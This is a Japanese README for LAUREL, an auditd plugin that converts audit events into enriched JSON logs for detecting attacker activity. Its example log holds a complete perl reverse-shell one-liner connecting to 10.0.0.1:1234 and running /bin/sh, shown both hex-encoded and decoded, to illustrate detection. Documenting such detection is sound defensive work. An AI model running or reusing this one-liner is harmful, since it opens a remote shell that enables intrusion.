LAUREL は、auditd(8) 用のイベント後処理プラグインであり、現代的なセキュリティ監視セットアップに適した、有用でリッチな JSON ベースの監査ログを生成します。
最新安定版リリースに対応するドキュメントはこちらにあります。
TLDR: このような監査イベントの代わりに…
type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…
…LAUREL は、攻撃者/ペネトレーションテスター/レッドチームが仕掛けようとしている混乱が一目でわかる JSON ログに変換します:
{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}
これは、LAUREL が監査イベントが生成されるホスト上で動作するため、ソースで行われます。イベントは親プロセス (ppid) に関する有用な情報で強化されます:
"PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}
設定と運用の詳細は、laurel(8) マニュアルページに記載されています。 ログ形式とその根拠の詳細は、laurel-about(7) マニュアルページにあります。laurel-audit-rules(7) のページには、攻撃者の戦術を検出するのに有用な監査ルールの設定に関するアドバイスと例が含まれています。
_LAUREL インストール手順 には、LAUREL をソースからビルドし、インストールおよび設定する方法が記載されています。
私たちは、既存のプロジェクトや製品の機能セットやパフォーマンス特性に満足できなかったため、LAUREL を開発しました。詳細はパフォーマンスドキュメントを参照してください。
GNU General Public License, version 3
ロゴは Birgit Meyer <[email protected]> によって作成されました。